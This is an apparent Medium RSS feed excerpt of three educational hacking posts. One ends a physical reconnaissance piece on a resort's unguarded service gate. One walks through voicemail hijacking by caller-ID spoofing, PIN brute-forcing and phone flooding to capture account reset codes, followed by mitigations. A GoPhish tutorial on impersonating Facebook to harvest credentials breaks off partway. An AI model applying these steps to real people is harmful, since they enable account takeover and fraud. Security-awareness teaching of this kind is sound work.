resort from a few different angles. When viewing the resort from the East we can see a pool across the street.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ATm5WVOEwciDF0sUfyF1gw.png" /></figure><p>Zooming in, we notice what appears to be some tunnels leading under the road.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*QDJNIAWJYd4lhptG6Vc1eQ.png" /></figure><p>Let’s take a look from the other side and try to identify any potential exit points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i-jv9cDGFQy2PCjs3PelaA.png" /></figure><p>At first glance, there doesn’t appear to be any corresponding exits on the other side until we zoom in to the upper right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*3Pwd_pzrYRJcN2U27znpjA.png" /></figure><p>Very Interesting, that certainly looks like a passageway.</p><p>Ok time to take a drive around the exterior of the resort with Street View and see what we can find. We will start at the South West corner and make our way around.</p><p>Already we found some new construction going on. Perhaps another tunnel?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AooNCAAYFGEWLjnw43n5Kw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NJW1amIGGOStQ1YNPnKILA.png" /></figure><p>Driving east and surveying the parameter we find some security near one of the main entrances, that according to Street Views records were not there just a few years ago.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Pp9Jd9kgWl7qnZoIh9AHw.png" /></figure><p>We drive a little further towards those possible tunnels and find a closed gate with an apparent gardener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PaVfK6_g4-aF5TyXAgwt-g.png" /></figure><p>We take note of the clothes he is wearing and turn our attention to the other side of the street where those tunnels are.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OPfXDqmkOYQ65Anxcfa5AQ.png" /></figure><p>Ooh, this is very interesting, an open and unattended service gate. What’s more is when we examine this gate in Google Street View’s time machine, we can see that it’s apparently left unguarded and ajar often.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*QssBVsQfB074VYSlZCZJQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*QJk2vmkOlsS9bJb0G693aA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*KzvfTIM8c0w1lLba5Tzavw.png" /></figure><p>I think we have what we came looking for and I don’t know about you, but I am exhausted.</p><p>Let’s wrap things up for now, and get our dossier polished and ready for The Dark Army to review. They’ll take it from here.</p><h3>Conclusion</h3><p>This article has certainly been longer than most, and yet, there is still a lot we didn’t cover. We only scratched the surface. Take the extensive list of phone numbers we acquired and never covered, for instance. As you can imagine, there is plenty we could have done with them as illustrated by another article of mine, ‘<a href="https://medium.com/@liddell.erik/when-hackers-call-the-voicemail-vulnerability-d6eba3245b26"><strong>When Hackers Call</strong></a>.’ We also didn’t touch on any of Google’s advanced searching techniques, but we will leave that for another article.</p><p>None the less, it is fair to say that we still gathered a lot of valuable intelligence in a fairly short time. Certainly, we have enough to begin writing our general assessment of the target. The target is riddled with potential vulnerabilities we can outline. In fact, in our report to The Dark Army, we will be sure to mention that there is a high likely hood that our target has already been compromised.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*UrST9DlWHGbrxAx4opMgtQ.jpeg" /></figure><h3>The End</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*cvh0NVg7AiwxEAG3PDxzag.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6792c19f94c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When  Hackers Call : The Voicemail Vulnerability]]></title>
            <link>https://medium.com/@liddell.erik/when-hackers-call-the-voicemail-vulnerability-d6eba3245b26?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6eba3245b26</guid>
            <category><![CDATA[identity-management]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Mon, 18 Nov 2019 02:31:44 GMT</pubDate>
            <atom:updated>2019-11-26T04:28:47.068Z</atom:updated>
            <content:encoded><![CDATA[<h3>When Hackers Call : The Voicemail Vulnerability</h3><p><em>How hackers can use your voicemail against you and how to mitigate the risk.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cxe-qvxfeSwDx1O-_UyEWg.png" /></figure><h3>Disclaimer</h3><p><em>Let me start by saying that this article is for educational purposes only. The knowledge you will gain from this article could be used to do very illegal things and land you in federal prison. Even worse, it could be used to ruin someone else’s life. Someone more innocent than you.</em></p><p><em>Further more, I do not endorse, condone or otherwise warrant breaking the law or invading the privacy of others. You alone are fully responsible for what you do with this information.</em></p><p><em>In other words, ‘Don’t be a jerk!’</em></p><p><em>That said, stay thirsty my friends!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*3xgYM1OroblyTE1i.jpeg" /></figure><h3>Foreword</h3><p>In today’s world, when we think about protecting ourselves from hackers a number of obvious things come to mind.</p><p>We know the dangers of using public WiFi, weak passwords, and having poor firewall security. We also know better than to click on suspicious links or mount random USB drives that we happen to find lying around.</p><p>Hell, some of us might even take precautions like always using a VPN, 2Factor authentication, and even reaching out to our cell phone providers to put protocols in place that prevent <a href="https://www.secplicity.org/2018/10/17/everything-your-need-to-know-about-sim-jacking/">SIM Jacking.</a></p><p>Let’s face it, though. With all our smart devices, social media accounts, and the internet of things; there are endless avenues a hacker can take if they really want to try and hack us.</p><p>We certainly can’t spend all day worrying about everywhere we might be vulnerable, and for the most part, we don’t have to. We tend to rest our heads on the shoulders of giants, ‘knowing’ that big companies like Google, Amazon, Facebook, Verizon and the like have the best of the best working hard to safeguard us and our data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*bwCmWUjE_CbvDEsoqcpFdw.gif" /><figcaption>sorry that was hard to say</figcaption></figure><p>For the most part, this is a fairly safe bet, but even the brightest often overlook things that can leave us with our pants down.</p><p>By this point, I am sure you are quite keen as to what I’m about to tell you, but here it comes anyway:</p><blockquote>“Your Voicemail is leaving your derriere exposed to the harsh winter breeze and {dramatic pause} Hackers!!!”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*YjBO009NADy6zoK_8BPVTA.jpeg" /></figure><h3>The Threat</h3><p>You are probably thinking,</p><blockquote><em>“What’s the big deal? Are you going to tell me that hackers can listen to my voicemail? Who cares?! All they‘ll hear are messages from telemarketers, anyway. Let them have at it!”</em></blockquote><p>If you are at all like me, you might even scoff,</p><blockquote><em>“Jokes on you, my friend! I didn’t even set up voicemail on my phone. Voicemail, HAH! Who even uses that anymore?”</em></blockquote><p>Addressing the latter first, let me say one thing: Just because you didn’t set up voicemail, doesn’t mean that you don’t have a voicemail. Most cellular providers automatically give you a voicemail account with your service and if you didn’t set it up, you are likely even more vulnerable to what I am about to tell you.</p><p>Moving back to the first question, the short answer is “yes!” Hackers can listen to your voicemail and while you may think there is no value in your voice messages, there most certainly is. In fact, they can use these messages to hijack many of your online profiles and accounts and I am about to show you how.</p><h3>Shall We Play a Game?</h3><p>For the remainder of this article, we are going to pretend to be evil hackers. The Dark Army has tasked us with hacking an individual by the name Roger Pebble. Ditching our morals in favor of not being killed by the Dark Army, we accept the task, grab a cup of coffee, and get to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*nGJQQXC4mDa1pvp6v-rRKw.jpeg" /></figure><p>Our initial recon yielded a few possible phone numbers and online identities including social media accounts, Gmail, and even online banking. Unfortunately, we don’t really have much else to go on.</p><p>How we got this info is a topic for another day but I encourage you to <a href="https://medium.com/@liddell.erik">follow me here</a> for when that day comes!</p><p>The big fruit here is obviously Roger’s online banking, but we don’t know his password and we certainly don’t want to try brute forcing a bank. It’s too noisy and will likely get us caught. Roger’s email is pretty much the same story, so all we’re left with are a few phone numbers.</p><p><strong>Step 1 : Phone Info Gathering<br></strong>The first thing we decide to do is run these phone numbers through a python3 script called PhoneInfoga which can be found on Git Hub <a href="https://github.com/sundowndev/PhoneInfoga/blob/master/docs/install.md">by clicking here</a>.</p><p>PhoneInfoga is essentially an automation script that can be used to rummage through the internet and find valuable information about a given number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zi6Ns6F-POtnr0NdnYFAxA.png" /></figure><p>Our main purpose for using this script is to first verify that they are indeed real numbers and to see if we can quickly identify the numbers as either mobile or landlines. Below are a few sample outputs from running ‘phoneinfoga.py’ on various numbers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*rgleyWQKU_KtfBFxkxGojg.png" /></figure><p>Judging by the output, we can see that the numbers are in fact real numbers, and one of them is likely a mobile number with Verizon. The second number shows up as a possible landline, but in yellow we can see that there is always a margin of error.</p><p><strong>Step 2 : Confirm and Verify<br></strong>What we need to do now is see if voicemail is set up on these phone numbers. For doing this, there is a great tool used by social engineers all the time, called <a href="https://www.spoofcard.com/">SpoofCard</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WmCb1g3a_bZVJZmPgaZYfA.png" /></figure><p>SpoofCard is a mobile app that social engineers typically use to fake the number they are calling from when performing phone phishing attempts. It allows the caller to make any number they want appear on the caller ID of the victim’s phone. It also allows for the disguising of their voice, adding fake background noise, recording the phone call and even going straight to voicemail, although we won’t be needing any of those extra fancy features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*L5uGW-HyKkAGiHSWj58hWQ.gif" /></figure><p>Instead, we are going to keep this quite simple. We will try using SpoofCard to merely call our victim’s numbers while pretending to be calling from the very same number. What happens when we call our own number from the same number, you may ask? Well, we go straight to voicemail.</p><p>Let me be crystal clear here. We don’t get dropped into the user’s voicemail greeting,</p><blockquote>“Hey I’m ignoring you! Please leave a message..”</blockquote><p>No, we get dropped straight into the user’s voicemail menu. Now, a couple different scenarios could play out here.</p><ul><li><strong>The user hasn’t set up their voicemail yet.</strong><br>This is the ideal situation for us. It means we will be greeted with a message telling us that our voicemail hasn’t been set up yet, but offering us a numeric option to “set it up now.” Sweet, we can just go ahead and set up the voicemail for our victim, setting their PIN to whatever our little hacker hearts desire.</li><li><strong>The user set their voicemail up, but improperly.<br></strong>For whatever reason, some cellular providers allow their customers to select an option that allows for them to access their voicemail without a PIN, when calling from the same number. Hey, that’s what we are about to do. I have to take back everything I just said in the first bullet, this is the real ideal. If this is the case we will skip right over authentication.</li><li><strong>The user set up the voicemail correctly.<br></strong>This is mostly likely our worst case scenario. It means we will be greeted with a message telling us to enter our PIN.</li></ul><p>Ok, so let’s give it a try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*5GxmOmTK7bpfuu17wveZmQ.png" /></figure><p>Making sure we put our victim’s number in both fields, we simply hit the call button, and listen… (<a href="https://media.plivo.com/v1/Account/MAYTHJMZU2YJE2OTLJYZ/Recording/a8397360-0982-11ea-bc1f-0e8cd3ae6f33.mp3">Actual Recording Found Here</a>)</p><p>Damn, it’s the worst case scenario! It’s prompting us for a PIN!</p><p><em>Note: SpoofCard isn’t exactly free, but it is really cheap. Also, at the time of writing this, the app seems to have been taken down from at least the Google Play store. The company has stated that it will be back up shortly, but you can still find the app if you know where to look.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*-MSFnPaigfvuPXL0qEJhTQ.gif" /></figure><p><strong>Step 3 : Brute Forcing The Pin<br></strong>While some might be discouraged by our victim’s apparent skills in setting up their voicemail, we know all is not lost. Try harder is always the hacker motto.</p><p>Typically, cellular providers require their customers to secure their voicemail with a mere 4–8 digit PIN. They also tend to stress the importance of making your PIN something easy to remember. Taking that suggestion into consideration, I bet you can guess how many digits the majority of people’s PINs are. If you guessed the minimum required, you are correct!</p><p>People are predictable. A quick Google search will yield you a list of the Top Ten 4-digit PIN combinations and you’ll find 15% of the population using them. What’s more, is that most providers don’t implement any “max attempt” security on their voicemail systems. So even if our victim is not in the 15% of users guilty of using one of the Top Ten, the permutations are rather trivial in the world of scripting. In fact, another quick Google will show you that someone has likely already written a script for you.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FZ9kO4VmN1FM%3Ffeature%3Doembed&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DZ9kO4VmN1FM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FZ9kO4VmN1FM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3acbdf5b7191d6757afea24b25c9b6e2/href">https://medium.com/media/3acbdf5b7191d6757afea24b25c9b6e2/href</a></iframe><p><strong>Step 4 : Pivot <br></strong>Luckily for us, we guessed our victim’s PIN on our first attempt, ‘0000.’<br>Great, we know our victim’s voicemail passcode, but now what? We could rummage through their messages or we could change their greeting. That would make for a good laugh, but I don’t think that is quite what the Dark Army had in mind.</p><p>Looking back at our initial recon, we know that Roger has an online banking presence. A quick glance at his bank’s ‘Forgot your password?’ page, reveals that in the event of a forgotten password, the bank emails their customers a password reset link.</p><p>It just so happens that Roger’s email works in a similar manner, but allows for us to get password help over the phone via either a text message or automated phone call, the key words here being <strong><em>‘automated phone call.’</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*XJ-VqvmhKSMwumAEf13BNg.jpeg" /></figure><p>This likely means a computer will call and give us a code that we can then use to authorize a password reset. Sounds great if we can somehow get that computer to go straight to voicemail.</p><p>If only we had a swallow (ласточка), capable of luring Roger into a restaurant with no cellular service, or maybe just a means to get him to simply turn off his phone. Hmm..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*F3jB9uNRl08Fyy4_-AtfsQ.gif" /></figure><p>Wait a minute, I know exactly what to do. There is this whole subculture of people out there, who make it their mission to weed out phone scammers and flood their call centers until they have to shut down. I love these phreaks! Certainly one of them has written a script for this too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u3IVy-aPiZNKciLHdfTpFw.png" /></figure><p>Once again, Google comes to the rescue with a <a href="https://scammerblaster.com/call-flooding-a-scammer-how-to-do-it-yourself/">DIY Call Flooder.</a> Ok I’ll admit that this might be a little overkill. Maybe we could just wait until the late night hours and keep calling Roger from different numbers until he gets frustrated and just turns his phone off. We’ll know the trap as been sprung when he stops picking up and yelling obscenities at us and instead it goes straight to voicemail.</p><p>From here, it is smooth sailing. We trigger a password reset with his email, check the voicemail to retrieve the code, change his email password and bubble our way all the way up to his bank.</p><p>Roger is owned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*JlRWB6kOCcgXF_eA-SkZJQ.jpeg" /></figure><h3>The Takeaway</h3><p>First of all, I have to admit that the scenario laid out above was quite fanciful! It just so happened to be a perfect storm and obviously not all voicemail services are the same. Certainly your bank and likely your email provider also have better authentication practices in place, at least we hope so.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FWcLiItd8mN8%3Fstart%3D120%26feature%3Doembed%26start%3D120&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DWcLiItd8mN8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FWcLiItd8mN8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/69b8ac808f63275440c1bb9065c5b279/href">https://medium.com/media/69b8ac808f63275440c1bb9065c5b279/href</a></iframe><p>The intent was to keep you entertained while illustrating how the simple things that often get overlooked, are exactly what hackers are looking to exploit.</p><p>Be it leaving your router or security camera in its out-of-the-box configuration, or not properly setting up your voicemail when you get a new cellular provider, your minor oversight can quickly be forgotten by you and found later by The Dark Army.</p><h3>How to Mitigate</h3><ol><li>At the very minimum, make sure you have set up your voicemail and given it a PIN that is not found on the Top Ten.</li><li>Double check all your voicemail settings. As mentioned, some providers have an option that bypasses authentication when calling from the same number. Make sure that is disabled!</li><li>Always delete your voicemail messages in a timely manner. We really don’t need anyone getting wind of any nicknames mom might have for us.</li><li>Consider disabling your voicemail altogether. This likely will require you calling your provider. While you have them on the phone you might as well make sure they have good SIM jacking prevention in place. Ask them to put a note on your account that a new SIM card can only be mailed to your billing address or picked up in person with a valid photo ID.</li></ol><h3>The End</h3><p>One more thing, Epstein Didn’t Kill Himself. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6eba3245b26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hook Line and Sinker : Learning to Phish]]></title>
            <link>https://medium.com/@liddell.erik/hook-line-and-sinker-learning-to-phish-3704cf995a9a?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3704cf995a9a</guid>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Thu, 14 Nov 2019 02:00:49 GMT</pubDate>
            <atom:updated>2019-11-17T14:05:42.265Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A ‘how to guide’ for creating email phishing campaigns using </em><a href="https://getgophish.com/"><em>GoPhish</em></a><em>, an Open-Source Phishing Framework.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*pyoTPEkyjh-2Qzmjaz_erw.jpeg" /></figure><h3><strong>Disclaimer</strong></h3><p><em>Let me start by saying that this article is for educational purposes only. The knowledge you will gain from this article could be used to do very illegal things and land you in federal prison should you use it inappropriately. Even worse, it could be used to ruin someone else’s life. Someone more innocent than you.</em></p><p><em>Further more, I do not endorse, condone or otherwise warrant breaking the law or invading the privacy of others. You alone are fully responsible for what you do with this information and how you use it. Please do not use the information here to bait and hook victims without expressed written consent. If you are using these tactics on a Penetration Testing assignment, please be sure that the email accounts you target are all defined by your client in writing, to be within the scope of your engagement and that the client has the authority to do so.</em></p><p><em>In other words, ‘Don’t be a jerk!’</em></p><p><em>That said, stay thirsty my friends!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*qrKL0UFna_3W1RWox5S8yQ.jpeg" /></figure><h3>Introduction</h3><p><strong>What is Phishing?<br></strong>Before we begin, it might be prudent to discuss what ‘<strong><em>phishing</em></strong>’ is.</p><p>For one, it is not merely a misspelling of the word <strong>fishing</strong>. It is more of a tip of the proverbial hat.</p><p>Back in the day of pay phones and before the internet was a widely used consumer end product, there was a group of people called <strong><em>Phone Phreaks</em></strong>. In a nutshell, Phone Phreaks were inquisitive people who would use phones in manners for which they were not intended. They would do things like use whistles to mimic various tones to trick a phone into thinking the call was paid for.</p><p>Phone Phreaks can be thought of as the founding fathers to what we commonly call hackers today. They of course have a much richer history than I just expressed, but that is a topic for another day. For more information on them <a href="http://www.historyofphonephreaking.org/faq.php">click here</a>.</p><p>Anyway…</p><blockquote>Phreaks + Fishing = Phishing</blockquote><p><strong>Webster</strong> defines <strong><em>phishing</em></strong> as follows:</p><blockquote><strong>phish·ing<br></strong>/ˈfiSHiNG/</blockquote><blockquote>noun: <strong>phishing</strong></blockquote><blockquote>the fraudulent practice of sending emails purporting to be from reputable companies in order to induce individuals to reveal personal information, such as passwords and credit card numbers.</blockquote><blockquote>“an email that is likely a phishing scam”</blockquote><p>That’s a fair description, though I would add that phishing could also be used to install malicious software like a virus or backdoor and could also be implemented via a phone call or text message. The emails also don’t have to purport to be from reputable companies. They can appear to be from any trusted source really, like a friend or family member. For the purpose of this article however, we will stick with Webster’s Definition.</p><p><strong>Two ways to Phish</strong><br>Generally speaking there are two types of phishing. There is <strong>Phishing</strong> and then there is <strong>Spear Phishing</strong>.</p><p>The difference being that a phishing campaign will target as many email addresses as it can find. It casts a wide net in hopes of catching as many fish as possible without discrimination.</p><p>Spear Phishing however is targeted and limits the scope to either one victim or a limited number of predefined victims. Spear Phishing is more personal, the victim(s) are hand picked and the bait so to speak is designed to specifically lure that particular victim. It may yield less results, but the results are more targeted and more precise.</p><p><strong>Is Phishing Effective?<br></strong>I know what you are thinking…</p><blockquote><em>“Look man, I’m not a dumb fish! Anyone can spot a phishing attempt. Besides my company has top notch security and will quickly shutdown any phishing attempt”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*n3wb3kfR-xZlN1-xdfhApg.jpeg" /></figure><p>Well, regardless of how smart of a fish you are or how talented your company’s IT department is, people are still the weakest link in any infrastructure.</p><p>In fact, the <a href="https://enterprise.verizon.com/en-gb/resources/reports/dbir/">2019 DBIR</a> report released by Verizon shows that the #1 cause of data breaches in 2019 was phishing, making up about a 3rd of all major data breaches reported. The report went on to name ‘stolen credentials’ as the #2 culprit but that begs the question, ‘How did those credentials get stolen in the first place?’ It is likely they were stolen via some sort of social engineering, and well, one could argue probably from some variation of Phishing!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*wBAv8bBc6y0tYLcKa9FlqQ.jpeg" /><figcaption>surprised?</figcaption></figure><h3><strong>Before We Begin : Prerequisites</strong></h3><p>In this article we are going to explore a tool called <a href="https://getgophish.com/">GoPhish.</a> GoPhish is an open-source framework designed for pen-testers to quickly spin up phishing campaigns with the intent of assessing whether a company or person(s) are suceptible to email phishing.</p><p>To follow along you will need to meet the following prerequisites.</p><ol><li><strong>An email server to use for sending emails.</strong><br>You can use just about any email service you have credentials for, like gmail or hotmail, but I recommend using a private domain and smtp2go.com</li><li><strong>Authorized Victims<br></strong>As previously stated, don’t use this tutorial to send phishing attempts to email addresses you have not received appropriate permissions from. I will be using a few of my own personal accounts as victims for the purpose of demonstrating the effectiveness of this tool.</li><li><strong>A Victim Facing Web Service<br></strong>You will be hosting a landing page on your local machine. If you want to test your phishing campaigns end to end, your victims will need to be able to reach your machine and thus they will either need to be on the same network or you will need a public facing web service. If the later is the case you will either need a tunneling service like <a href="https://ngrok.com/">ngrok</a> installed or the ability to enable port forwarding on your router along with knowledge of your public ip.</li><li><strong>GoPhish <br></strong>You can download and install the latest version of GoPhish for Mac, Windows, or Linux <a href="https://github.com/gophish/gophish/releases">here</a>. I will be demonstrating from a Linux machine but it should be relatively the same for all platforms.</li></ol><h3>Lets’ Go Phishing</h3><p>For the remainder of this article we will pretend that we are hackers looking to steal the Facebook credentials of our victims.</p><p>The plan is simple. We will pretend to be the Facebook Privacy Team.</p><p>Our pretext is that we are writing users simply to notify them that the Facebook Privacy Policy has been recently updated.</p><p>We happen to know that our victim is very particular about privacy policies and often gets very upset when companies update their policy. The nice thing about this approach is that on the surface it seems pretty harmless. We won’t be asking for any sensitive information or doing anything else that might give rise to skepticism and we happen to know our victim is very invested in the topic.</p><p>So grab your favorite hoodie and trusted laptop. We are going Phishing!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZxb0ycBULysETUvqQkfhA.jpeg" /><figcaption>pictured Louis of @<a href="https://www.instagram.com/p/BjNReE0AYOB/">thepomchichronicles</a> on instagram</figcaption></figure><p><strong>Step 1 : Launch GoPhish</strong><br>Gophish, is our tackle box. It has just about everything we need to create tantalizing lures, cast our bait, and reel in our catch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*idUA4wRYeUiD_Uhcwo4D3A.jpeg" /></figure><p>Once you have the latest version downloaded and extracted we are pretty much good to go. In a terminal window navigate to the folder you extracted gophish to and launch it like so:</p><blockquote>cd gophish-v0.8.0-linux-64bit/</blockquote><p>and</p><blockquote>./gophish</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QB-pRkalrd-YCdpzlf_X-g.png" /></figure><p>You will notice that this doesn’t launch a GUI application. Instead a URL pointing to port 3333 on our local-host has been provided via the terminal output. This is where the gophish service is running. If we close this terminal window now, it will stop the service. So, don’t do that.</p><p>Leaving that terminal window open in the background we will now navigate to <a href="https://127.0.0.1:3333/">https://127.0.0.1:3333</a> via our web-browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AF__SXE7Ctfru_WrcN3VPA.png" /></figure><p>You will be greeted with a login screen. The default credentials for gophish are user: <strong>admin</strong> and password: <strong>gophish</strong>.</p><p>Like all things in life it would be wise to change these default credentials immediately via the account settings link on the left nav.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JSIW5QRz6ByGEpaKGy9Lmw.png" /></figure><p><strong>Step 2 : Create a Sending Profile<br></strong>The next step we want to take is to set up a ‘Sending Profile.’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*IvAO7hS3TE_xAX0pQsNNag.jpeg" /></figure><p>You can think of the Sending Profile as our fishing rod. It is our delivery mechanism. We will use it to cast our bait and ultimately reel in some fish. The trick is to not give the fish any clue that on the other end of that line is a Phisherman.</p><p>In reality our rod is really just a fake email address delivered by a real email server. It will ultimately be used to trick our victim into thinking that the email they received is from someone else. Someone trusted. ‘Nothing phishy here.’</p><p>In our case we want the user to believe that we are Facebook. We are going to specifically pretend to be ‘The Facebook Privacy Department.’</p><p>To set up the sending profile, navigate to ‘Sending Profiles’ via the left nav and click ‘New Profile.’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tQ8zKsHZZ250xpw8CxVfNQ.png" /></figure><blockquote><strong>Name</strong>: <em>Facebook Privacy</em></blockquote><p>In the above example I set up a profile named ‘Facebook Privacy.’ The name can be anything really, and is just used for your reference.</p><blockquote><strong>From:<em> </em></strong><em>Facebook Privacy &lt;privacy@fbmail.com&gt;</em></blockquote><p>The ‘From’ field, is used to determine how the victim will see the sender information in their inbox. For this example, ‘Facebook Privacy’ will be the sender’s name, while ‘privacy@fbmail.com’ will be our sender’s fake address.</p><p>You may be thinking why not ‘privacy@facebook.com’. In short, some email providers will recognize @facebook.com or even @facebookmail.com as official Facebook mail domains and flag the email as a potential phishing attempt when the DNS entry doesn’t match the actual server sending the email. So we crafted a domain of @fbmail.com as it looks legit enough to the average user and should fly under the radar.</p><blockquote><strong>Host: </strong>{your mail server:port here}</blockquote><p>This field is to set up the outgoing email server. Depending on your email provider, what you enter here will be different than mine. As stated earlier, I am using smtp2go which has a mail server address of mail.smtp2go.com running on port 25 and thus my host is ‘mail.smtp2go.com:25.’ You should be able to find the host information from your email provider. For example, a quick google search of ‘<em>gmail smtp outgoing mail server settings</em>’ shows that the equivalent for gmail would be: ‘smtp.gmail.com:587.’</p><blockquote><strong>Username: </strong><em>{your username for your email provider here}</em></blockquote><blockquote><strong>Password:</strong> <em>{your password for your email provider here}</em></blockquote><p>Once you have entered the above information you should make sure everything works by hitting the ‘Send Test Email’ button. This will launch a dialog where you can enter a name and address to receive a test email. You can use this to not only verify that the email server is set up properly and working, but also to adjust the headers and such to look exactly the way you want.</p><p>I added a few custom headers to make the email look even more legitimate.</p><p>Here are what the headers look like for my test email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AxO5GUTlxojX-Vbri1hWVw.png" /></figure><p>Once everything is working to your liking, simply click the save button.</p><p><strong>Step 3 : Create Email Template<br></strong>Now that we have a working Sending Profile, the next thing we want to do is create a believable email template.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*KKnnhThgUOk2xKLjkeaYmg.jpeg" /></figure><p>This email template is essentially our bait and like all good bait, we want the fish to believe it is real and tasty.</p><p>The easiest and perhaps best way to do this, is to find an email in our own inbox from the same provider we are trying to imitate.</p><p>I searched my inbox for emails from Facebook and found one that best suited my needs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*OrBpcm2M4fsUDippDA5KTg.png" /></figure><p>Then using the hamburger menu in gmail, I clicked ‘Show original’ which gave me an option to copy that email to my clipboard.</p><p>Navigating back to our gophish instance, we can go to the ‘Email Templates’ section and click ‘New Template.’ From here we can now use the ‘Import Email’ button to paste the email that we have just copied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*84BcEIbQNr7lk_9WYQn2Ag.png" /></figure><p>With the email now imported we can edit it to better suit our narrative.</p><p>You will notice that I replaced my name and email with variables. <br><em>(i.e. </em><strong><em>{{.FirstName}})</em></strong></p><p>By doing this we can use this template on an array of potential victims and gophish will replace those variables with each individual victim’s information. A full list of variables available can be <a href="https://docs.getgophish.com/user-guide/template-reference">found here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*M0-T24XQowbnZPuQa4eYgA.png" /></figure><p>Once every thing looks good, save this template and our bait is set.</p><p><strong>Step 4 : Create Landing Page<br></strong>Now that we have the appropriate bait, we need a good hook. With any luck, when our victim sees this email/bait they will believe it to be the real deal and click the ‘View Privacy Policy’ button. Seems harmless enough.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*lyol-fKOdl_LHPHXZvxqsQ.jpeg" /></figure><p>But when they click the link we are going to send them to a fake Facebook login page, where they will hopefully enter their credentials before being redirected to the actual Facebook Privacy Policy.</p><p>Of course that Facebook login page better look convincing or our fish will likely let go of the bait and all we will end up with is a dead thread and maybe their ip address.</p><p>Luckily gophish has integrated support for cloning websites too. All we have to do is navigate to the ‘Landing Pages’ section, click ‘New Page’ and 